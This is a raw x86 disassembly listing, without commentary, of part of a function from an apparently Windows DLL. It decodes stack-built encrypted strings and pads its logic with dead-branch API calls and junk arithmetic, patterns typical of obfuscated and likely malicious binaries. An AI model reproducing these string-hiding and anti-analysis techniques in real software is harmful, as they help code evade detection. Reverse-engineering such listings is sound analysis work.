mov word [ebp - 0x19d], 0x289
mov byte [ebp - 0x19b], 0x70
mov dword [ebp - 0x199], 0x13950361
mov word [ebp - 0x195], 0xd8f3
mov byte [ebp - 0x193], al
mov dword [ebp - 0x192], 0xe67c25c9
mov dword [ebp - 0x18e], 0x61427e46
mov dword [ebp - 0x18a], 0xdf48e4b2
mov word [ebp - 0x186], 0x46c5
mov byte [ebp - 0x184], 0x95
cmp ecx, 0x22
jne 0x100ee51d
push 0x13
pop esi
push 0x33
pop ecx
jmp 0x100ee550
movzx eax, byte [ebp + ecx - 0x1b7]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee540
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x1b8]
mov word [ebp + eax*2 - 0x1b80], dx
add ecx, 2
cmp ecx, 0x35
jb 0x100ee510
xor eax, eax
lea ecx, [ebp - 0x1d44]
mov word [ebp - 0x1b5e], ax
lea eax, [ebp - 0x1b80]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1d44]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 9
pop ecx
xor eax, eax
mov word [ebp - 0x34c], 0x3f22
lea edi, [ebp - 0x1b80]
mov byte [ebp - 0x349], 0xc
rep stosd dword es:[edi], eax
inc eax
mov dword [ebp - 0x347], 0x15800c69
push 7
mov byte [ebp - 0x34a], al
mov ecx, ebx
pop eax
push 0x18
mov byte [ebp - 0x348], al
mov esi, ebx
pop eax
push 0x3c
mov byte [ebp - 0x330], al
pop eax
mov dword [ebp - 0x343], 0x700a45
mov dword [ebp - 0x33f], 0x47d1b16
mov dword [ebp - 0x33b], 0x97b0574
mov dword [ebp - 0x337], 0x107c0681
mov word [ebp - 0x333], 0xb57
mov byte [ebp - 0x331], 0x5d
mov dword [ebp - 0x32f], 0xd921996
mov dword [ebp - 0x32b], 0x16991f65
mov dword [ebp - 0x327], 0x11881769
mov dword [ebp - 0x323], 0xe7e0333
mov dword [ebp - 0x31f], 0x13a31c8e
mov word [ebp - 0x31b], 0x123a
mov byte [ebp - 0x319], al
mov dword [ebp - 0x318], 0xa91e9a1d
mov dword [ebp - 0x314], 0xb40f9a20
mov dword [ebp - 0x310], 0xb408a921
mov dword [ebp - 0x30c], 0x4c148a1a
mov dword [ebp - 0x308], 0x530e8102
mov dword [ebp - 0x304], 0xf8a4d077
mov dword [ebp - 0x300], 0xe62f9a3e
mov dword [ebp - 0x2fc], 0x10438f11
cmp ecx, 0x46
jne 0x100ee6b4
push 0xe
pop esi
push 0x52
pop ecx
jmp 0x100ee6e7
movzx eax, byte [ebp + ecx - 0x34b]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee6d7
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x34c]
mov word [ebp + eax*2 - 0x2044], dx
add ecx, 2
cmp ecx, 0x54
jb 0x100ee6a7
xor eax, eax
lea ecx, [ebp - 0x1d68]
mov word [ebp - 0x1ffe], ax
lea eax, [ebp - 0x2044]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1d68]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x12
pop ecx
xor eax, eax
mov dword [ebp - 0x54], 0xc20c3200
lea edi, [ebp - 0x2044]
mov dword [ebp - 0x50], 0xc7729ffe
rep stosd dword es:[edi], eax
push 0x18
pop eax
mov word [ebp - 0x4c], 0x658b
mov ecx, ebx
mov byte [ebp - 0x4a], al
mov esi, ebx
mov word [ebp - 0x49], 0x932d
mov byte [ebp - 0x47], 0xe4
cmp ecx, 2
jne 0x100ee76f
push 0xc
pop esi
push esi
pop ecx
jmp 0x100ee79c
movzx eax, byte [ebp + ecx - 0x53]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ee78f
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x54]
mov word [ebp + eax*2 - 0x8ec], dx
add ecx, 2
cmp ecx, 0xe
jb 0x100ee763
xor eax, eax
mov esi, 0x5a0
mov word [ebp - 0x8ea], ax
cmp dword [ebp + 0x10], esi
jge 0x100ee7d4
lea eax, [ebp - 0x8ec]
push eax
lea ecx, [ebp - 0x1dbc]
call fcn.10013e17
mov edx, eax
xor eax, eax
mov byte [ebp - 4], 0xc
inc eax
jmp 0x100ee7f3
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x1d8c]
cdq
idiv esi
mov edx, eax
call fcn.100706fe
mov edx, eax
push 2
mov dword [ebp - 4], 0xd
pop eax
lea ecx, [ebp - 0x1a94]
mov dword [ebp - 0x3c], eax
call fcn.10047308
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x100ee821
and eax, 0xfffffffd
lea ecx, [ebp - 0x1d8c]
mov dword [ebp - 0x3c], eax
xor eax, eax
push ebx
inc eax
push eax
call fcn.10014448
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
test cl, al
je 0x100ee841
push ebx
and eax, 0xfffffffe
push ecx
lea ecx, [ebp - 0x1dbc]
mov dword [ebp - 0x3c], eax
call fcn.10014448
xor ecx, ecx
inc ecx
push 7
pop eax
push 0x3c
mov byte [ebp - 0x1e6], al
mov edx, ebx
pop eax
push 0x18
mov byte [ebp - 0x1d1], al
pop eax
mov dword [ebp - 0x8ec], ebx
mov dword [ebp - 0x204], 0x7708621f
mov dword [ebp - 0x200], 0x6f16430e
mov dword [ebp - 0x1fc], 0x770d5c14
mov dword [ebp - 0x1f8], 0x741b4900
mov dword [ebp - 0x1f4], 0x571e7415
mov dword [ebp - 0x1f0], 0x210f8e04
mov dword [ebp - 0x1ec], 0x90198f0b
mov word [ebp - 0x1e8], 0x8217
mov dword [ebp - 0x1e5], 0xc86098d
mov dword [ebp - 0x1e1], 0x20911a84
mov dword [ebp - 0x1dd], 0x1d9b0aa0
mov dword [ebp - 0x1d9], 0x133610a4
mov dword [ebp - 0x1d5], 0x113b225e
mov dword [ebp - 0x1d0], 0x80067112
mov dword [ebp - 0x1cc], 0x9c037d02
mov dword [ebp - 0x1c8], 0x811c7b21
mov byte [ebp - 0x1c4], al
mov word [ebp - 0x1c3], 0x5a5
mov byte [ebp - 0x1c1], 0xb6
mov byte [ebp - 0x1c0], cl
mov byte [ebp - 0x1bf], 0x74
movzx ecx, byte [ebp + edx - 0x203]
sub ecx, edx
dec ecx
jns 0x100ee93f
or eax, 0xffffffff
sub eax, ecx
add ecx, 0x100
and eax, 0xffffff00
add ecx, eax
movzx eax, byte [ebp + edx - 0x204]
add edx, 2
mov word [ebp + eax*2 - 0x208c], cx
cmp edx, 0x46
jb 0x100ee920
xor eax, eax
lea ecx, [ebp - 0x1dec]
mov word [ebp - 0x2046], ax
lea eax, [ebp - 0x208c]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1dec]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x12
xor eax, eax
lea edi, [ebp - 0x208c]
pop ecx
rep stosd dword es:[edi], eax
cmp dword [ebp + 0x10], esi
jge 0x100eee4e
inc eax
mov dword [ebp - 0x7d4], 0x6c083d2e
push 7
mov byte [ebp - 0x766], al
mov ecx, ebx
mov byte [ebp - 0x73c], al
mov esi, ebx
pop eax
push 0x3c
mov byte [ebp - 0x732], al
pop eax
push 0x18
mov byte [ebp - 0x72e], al
pop eax
mov dword [ebp - 0x7d0], 0x4b356a45
mov dword [ebp - 0x7cc], 0x50563820
mov dword [ebp - 0x7c8], 0x4d677b57
mov dword [ebp - 0x7c4], 0x5721563d
mov dword [ebp - 0x7c0], 0x7b581e2c
mov dword [ebp - 0x7bc], 0x8955235a
mov dword [ebp - 0x7b8], 0x94146d68
mov dword [ebp - 0x7b4], 0x95159525
mov dword [ebp - 0x7b0], 0x300f940b
mov dword [ebp - 0x7ac], 0x9a3b3211
mov dword [ebp - 0x7a8], 0xa3349b3e
mov dword [ebp - 0x7a4], 0x9f669662
mov dword [ebp - 0x7a0], 0x9c06764c
mov dword [ebp - 0x79c], 0xa9289a51
mov dword [ebp - 0x798], 0xa065b044
mov dword [ebp - 0x794], 0x7f02b04a
mov dword [ebp - 0x790], 0x851b4f0e
mov dword [ebp - 0x78c], 0xb453bb63
mov dword [ebp - 0x788], 0x8d59bf37
mov dword [ebp - 0x784], 0xb442c054
mov dword [ebp - 0x780], 0x605da82f
mov dword [ebp - 0x77c], 0xaf69c70c
mov dword [ebp - 0x778], 0x5f12d364
mov dword [ebp - 0x774], 0xca11b4d0
mov dword [ebp - 0x770], 0x140cb764
mov dword [ebp - 0x76c], 0x20762119
mov word [ebp - 0x768], 0x9154
mov dword [ebp - 0x765], 0x19c8262b
mov dword [ebp - 0x761], 0x2ab31cd0
mov dword [ebp - 0x75d], 0x3fd51a6f
mov dword [ebp - 0x759], 0x2bdf52cd
mov dword [ebp - 0x755], 0x5b780076
mov dword [ebp - 0x751], 0x16e74d7a
mov dword [ebp - 0x74d], 0x24c903d6
mov dword [ebp - 0x749], 0x12f04fda
mov dword [ebp - 0x745], 0x3ac313b9
mov dword [ebp - 0x741], 0x1eec0aea
mov byte [ebp - 0x73d], 0xc9
mov dword [ebp - 0x73b], 0x5cf94b90
mov dword [ebp - 0x737], 0xdce3394
mov byte [ebp - 0x733], 0xcd
mov word [ebp - 0x731], 0x3105
mov byte [ebp - 0x72f], 2
mov dword [ebp - 0x72d], 0x5f0b3003
mov dword [ebp - 0x729], 0x2d0f17e2
mov dword [ebp - 0x725], 0x221309a6
mov dword [ebp - 0x721], 0x39df1f16
mov dword [ebp - 0x71d], 0x5ed81d19
mov dword [ebp - 0x719], 0x51960e5
mov dword [ebp - 0x715], 0x424361d
mov dword [ebp - 0x711], 0x29143816
mov dword [ebp - 0x70d], 0x462732f3
mov dword [ebp - 0x709], 0x272f61f5
mov dword [ebp - 0x705], 0x47c8102c
mov dword [ebp - 0x701], 0x231648f0
mov dword [ebp - 0x6fd], 0x500b4e37
mov byte [ebp - 0x6f9], 0x3b
mov byte [ebp - 0x6f8], al
mov dword [ebp - 0x6f7], 0x41414934
mov dword [ebp - 0x6f3], 0x403d4335
mov byte [ebp - 0x6ef], 0x11
cmp ecx, 0x5e
jne 0x100eec36
push 0x12
pop esi
push 0x6e
pop ecx
jmp 0x100eec69
movzx eax, byte [ebp + ecx - 0x7d3]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100eec59
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x7d4]
mov word [ebp + eax*2 - 0x24ac], dx
add ecx, 2
cmp ecx, 0xe6
jb 0x100eec29
xor eax, eax
lea ecx, [ebp - 0x1e10]
mov word [ebp - 0x23d8], ax
lea eax, [ebp - 0x24ac]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1e10]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x35
mov edx, dword [ebp + 0x14]
lea edi, [ebp - 0x24ac]
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1a94]
stosw word es:[edi], ax
call fcn.10047308
push 0x18
pop edx
push 7
pop eax
mov byte [ebp - 0x290], al
mov ecx, ebx
xor eax, eax
mov dword [ebp - 0x2a4], 0x32103f0b
inc eax
mov dword [ebp - 0x2a0], 0x110c5711
mov dword [ebp - 0x29c], 0x770a7d05
mov esi, ebx
mov dword [ebp - 0x298], 0x191c7b1a
mov word [ebp - 0x294], 0x8113
mov byte [ebp - 0x292], dl
mov byte [ebp - 0x291], 0x7c
mov dword [ebp - 0x28f], 0x11861987
mov dword [ebp - 0x28b], 0xaf4231d
mov dword [ebp - 0x287], 0x28cf229a
mov dword [ebp - 0x283], 0x42a04672
mov dword [ebp - 0x27f], 0x20d4d9bc
mov dword [ebp - 0x27b], 0x240d7a09
mov dword [ebp - 0x277], 0x5b0f8616
mov dword [ebp - 0x273], 0x88122a0e
mov dword [ebp - 0x26f], 0x95045402
mov word [ebp - 0x26b], 0x8e06
mov byte [ebp - 0x269], al
mov dword [ebp - 0x268], 0x157a0067
mov dword [ebp - 0x264], 0x1b9614a3
mov dword [ebp - 0x260], 0x17ab0871
mov word [ebp - 0x25c], 0x3ab
mov byte [ebp - 0x25a], 0x82
cmp ecx, edx
jne 0x100eedc4
push 0x11
pop esi
push 0x27
pop ecx
jmp 0x100eedfa
movzx eax, byte [ebp + ecx - 0x2a3]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100eede7
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x2a4]
push 0x18
mov word [ebp + eax*2 - 0x1f90], dx
pop edx
add ecx, 2
cmp ecx, 0x4b
jb 0x100eedb8
xor eax, eax
lea ecx, [ebp - 0x1e34]
mov word [ebp - 0x1f56], ax
lea eax, [ebp - 0x1f90]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1e34]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0xf
pop ecx
xor eax, eax
lea edi, [ebp - 0x1f90]
rep stosd dword es:[edi], eax
push 7
pop eax
mov byte [ebp - 0x140], al
mov ecx, ebx
xor eax, eax
mov dword [ebp - 0x14c], 0xd13680e
inc eax
mov dword [ebp - 0x148], 0x73053402
mov dword [ebp - 0x144], 0x6c094c03
mov esi, ebx
mov dword [ebp - 0x13f], 0xc780d7b
mov byte [ebp - 0x13b], 0x83
mov byte [ebp - 0x13a], al
mov dword [ebp - 0x139], 0x676044f
mov dword [ebp - 0x135], 0x108b117c
mov dword [ebp - 0x131], 0xa840f80
mov dword [ebp - 0x12d], 0x210b5eeb
mov dword [ebp - 0x129], 0x9df3daf8
mov dword [ebp - 0x125], 0x8730b2d
mov dword [ebp - 0x121], 0x12950a85
mov word [ebp - 0x11d], 0x63
mov byte [ebp - 0x11b], 0x30
cmp ecx, 0x1e
jne 0x100eeef6
push 0xa
pop esi
push 0x26
pop ecx
jmp 0x100eef29
movzx eax, byte [ebp + ecx - 0x14b]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100eef19
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x14c]
mov word [ebp + eax*2 - 0x1bc8], dx
add ecx, 2
cmp ecx, 0x32
jb 0x100eeee9
xor eax, eax
lea ecx, [ebp - 0x1e64]
mov word [ebp - 0x1ba0], ax
lea eax, [ebp - 0x1bc8]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1e64]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0xa
pop ecx
xor eax, eax
lea edi, [ebp - 0x1bc8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x14], 0x7ed6f186
xor ecx, ecx
mov dword [ebp - 0x24], 0xfffffffa
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100eefa3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x38], 0x92280643
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100eef95
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x24], ebx
je 0x100eefd3
xor eax, eax
lea edx, [eax + 1]
jmp 0x100eefd5
mov edx, ebx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
add ecx, 0x307b5ca9
add eax, edx
add eax, ecx
mov ecx, dword [ebp - 0x38]
imul ecx, eax
test ecx, ecx
je 0x100eeff2
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg eax
push 0xfffffffffffffff7
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
push 0
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp eax, 0x90e6
mov eax, dword [ebp - 0x14]
setle cl
cmp ecx, edx
pop edx
setne dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x38]
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x24]
test eax, eax
jne 0x100ef06e
inc eax
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x28]
jmp 0x100ef080
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef07d
call dword [sym.imp.USER32.dll_CreateMenu]
xor eax, eax
inc eax
test byte [ebp + 0xc], 4
je 0x100ef297
push 0x18
pop ecx
push 7
mov byte [ebp - 0x4fe], cl
mov esi, ebx
pop ecx
push 0x3c
mov byte [ebp - 0x4f8], cl
mov ecx, ebx
mov byte [ebp - 0x4c1], al
mov dword [ebp - 0x50c], 0x4139761d
mov dword [ebp - 0x508], 0x75146c2f
mov dword [ebp - 0x504], 0x7204382c
mov word [ebp - 0x500], 0x6f24
mov dword [ebp - 0x4fd], 0x34d2b74
mov byte [ebp - 0x4f9], 0x82
mov dword [ebp - 0x4f7], 0xb891c69
mov dword [ebp - 0x4f3], 0xa7c2380
mov dword [ebp - 0x4ef], 0x138d3184
mov dword [ebp - 0x4eb], 0x6920566
mov dword [ebp - 0x4e7], 0x990d93
mov dword [ebp - 0x4e3], 0x16902632
mov dword [ebp - 0x4df], 0x26d288f
mov dword [ebp - 0x4db], 0x978217d
mov dword [ebp - 0x4d7], 0xc41299e
mov dword [ebp - 0x4d3], 0xd77129e
mov dword [ebp - 0x4cf], 0x6b0ecac
mov dword [ebp - 0x4cb], 0xc5400d8e
mov dword [ebp - 0x4c7], 0x47f83549
mov word [ebp - 0x4c3], 0xa436
mov dword [ebp - 0x4c0], 0x37b3087b
mov dword [ebp - 0x4bc], 0x19b117a8
mov dword [ebp - 0x4b8], 0x1f5210ab
mov dword [ebp - 0x4b4], 0x15561187
mov dword [ebp - 0x4b0], 0xf8f1ab0
mov dword [ebp - 0x4ac], 0x345f3a5d
mov dword [ebp - 0x4a8], 0x33a52dc0
mov dword [ebp - 0x4a4], 0x22cc2ecd
mov dword [ebp - 0x4a0], 0x1ed51bcd
mov dword [ebp - 0x49c], 0xed738c8
mov dword [ebp - 0x498], 0x35d830a5
mov dword [ebp - 0x494], 0x27c132d2
mov dword [ebp - 0x490], 0x2aa020d3
mov word [ebp - 0x48c], 0x257c
mov byte [ebp - 0x48a], 0xe1
pop eax
cmp ecx, eax
jne 0x100ef20a
push 0xd
pop esi
push 0x47
pop ecx
jmp 0x100ef240
movzx eax, byte [ebp + ecx - 0x50b]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ef22d
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x50c]
push 0x3c
mov word [ebp + eax*2 - 0x222c], dx
pop eax
add ecx, 2
cmp ecx, 0x83
jb 0x100ef1fe
xor eax, eax
lea ecx, [ebp - 0x1e94]
mov word [ebp - 0x21b6], ax
lea eax, [ebp - 0x222c]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1e94]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 0x1e
pop ecx
xor eax, eax
lea edi, [ebp - 0x222c]
rep stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x24], 0xb57e8b72
inc eax
mov dword [ebp - 0x28], 0x5b0bb8bf
push eax
lea ecx, [ebp - 0x19d0]
call fcn.10013ee8
xor edx, edx
mov dword [ebp - 0x2c], 0x59172ddb
mov dword [ebp - 0x1c], ebx
inc edx
jmp 0x100ef2d6
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x19d0]
mov dword [eax + ecx*4], 0xb064bae0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x100ef2c3
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef2f6
push 0x1da1
push ebx
push 0x1009
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jne 0x100ef304
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef329
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef346
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
lea ecx, [ebp - 0x19d0]
call fcn.100144eb
xor eax, eax
mov dword [ebp - 0x118], 0x6c047308
inc eax
mov dword [ebp - 0x114], 0x450a7809
push 7
mov byte [ebp - 0x110], al
mov ecx, ebx
pop eax
mov dword [ebp - 0x10f], 0x3470038
mov esi, ebx
mov dword [ebp - 0x10b], 0x676057f
mov dword [ebp - 0x107], 0x48051378
mov dword [ebp - 0x103], 0x34577c68
mov dword [ebp - 0xff], 0x6ce5543
mov dword [ebp - 0xfb], 0x5e0f446b
mov dword [ebp - 0xf7], 0xfae0651
mov word [ebp - 0xf3], 0x1d0b
mov byte [ebp - 0xf1], al
mov word [ebp - 0xf0], 0x27a
mov byte [ebp - 0xee], 0x6b
cmp ecx, 0x12
jne 0x100ef3e7
push 0x13
pop esi
push 0x23
pop ecx
jmp 0x100ef41a
movzx eax, byte [ebp + ecx - 0x117]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x100ef40a
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [ebp + ecx - 0x118]
mov word [ebp + eax*2 - 0x1b38], dx
add ecx, 2
cmp ecx, 0x2b
jb 0x100ef3da
xor eax, eax
mov word [ebp - 0x1b20], ax
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x28], 0x5405732a
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x100ef460
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1e1c], 0x1078932
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100ef44f
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 0x24], ebx
jmp 0x100ef525
push 7
pop eax
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x9e8]
push 2
call fcn.10013ee8
mov dword [ebp - 0x14], ebx
jmp 0x100ef49d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d50], 0x1f782a18
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100ef48c
push 2
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x100ef4ba
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9e8]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100ef4ab
push 7
pop eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffe5
jne 0x100ef517
xor eax, eax
push 0x18
inc eax
pop ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], ebx
jl 0x100ef4fe
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef4f0
push 0x100c
push ebx
call edi
dec dword [ebp - 0x20]
jns 0x100ef4df
push 2
pop edx
xor eax, eax
push 0x18
inc eax
pop ecx
mov dword [ebp - 0x20], ebx
jmp 0x100ef509
dec dword [ebp - 0x28]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100ef503
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe5
je 0x100ef4d1
lea ecx, [ebp - 0x9e8]
call fcn.100144eb
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffffa
je 0x100ef474
inc dword [ebp - 0x34]
lea eax, [ebp - 0x1b38]
push eax
lea ecx, [ebp - 0x1ec4]
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1ec4]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
push 2
lea ecx, [ebp - 0x92c]
call fcn.10013ee8
mov byte [ebp - 4], 0x14
xor ecx, ecx
mov dword [ebp - 0x28], 0x5156be82
inc ecx
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x100ef59d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x40], 0x8c6a53d0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100ef58f
mov dword [ebp - 0x14], ebx
jmp 0x100ef5ba
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x92c]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100ef5a7
mov eax, dword [ebp - 0x92c]
mov dword [eax], ebx
mov dword [ebp - 0x24], 0xa1836ccb
mov dword [ebp - 0x1c], 0xfffffffb
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef5e7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov dword [ebp - 0x24], ebx
jmp 0x100ef73b
mov dword [ebp - 0x20], 0xb283066c
mov dword [ebp - 0x20], ebx
jmp 0x100ef72f
mov dword [ebp - 0x14], 0xdb856137
lea ecx, [ebp - 0x9bc]
push 3
call fcn.10013ee8
mov dword [ebp - 0x1c], ebx
jmp 0x100ef62a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9bc]
mov dword [eax + ecx*4], 0x467b47e0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100ef617
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x100ef721
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 0x92c]
mov dword [ebp - 0x1c], 0xffffffff
mov esi, dword [eax]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x40]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
xor eax, eax
cmp esi, edx
setl al
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp esi, 0x3563
setg al
xor ecx, ecx
cmp dword [ebp - 0x2c], eax
setg cl
imul ecx, esi
mov dword [ebp + esi*4 - 0x40], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x9bc]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x1c]
sub ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
setne al
xor ecx, ecx
cmp eax, 0xee83
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0x7a75e3aa
mov eax, dword [ebp - 0x20]
setg cl
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jle 0x100ef6eb
cmp dword [ebp - 0x1c], ebx
je 0x100ef6eb
xor eax, eax
lea edx, [eax + 1]
jmp 0x100ef6ed
mov edx, ebx
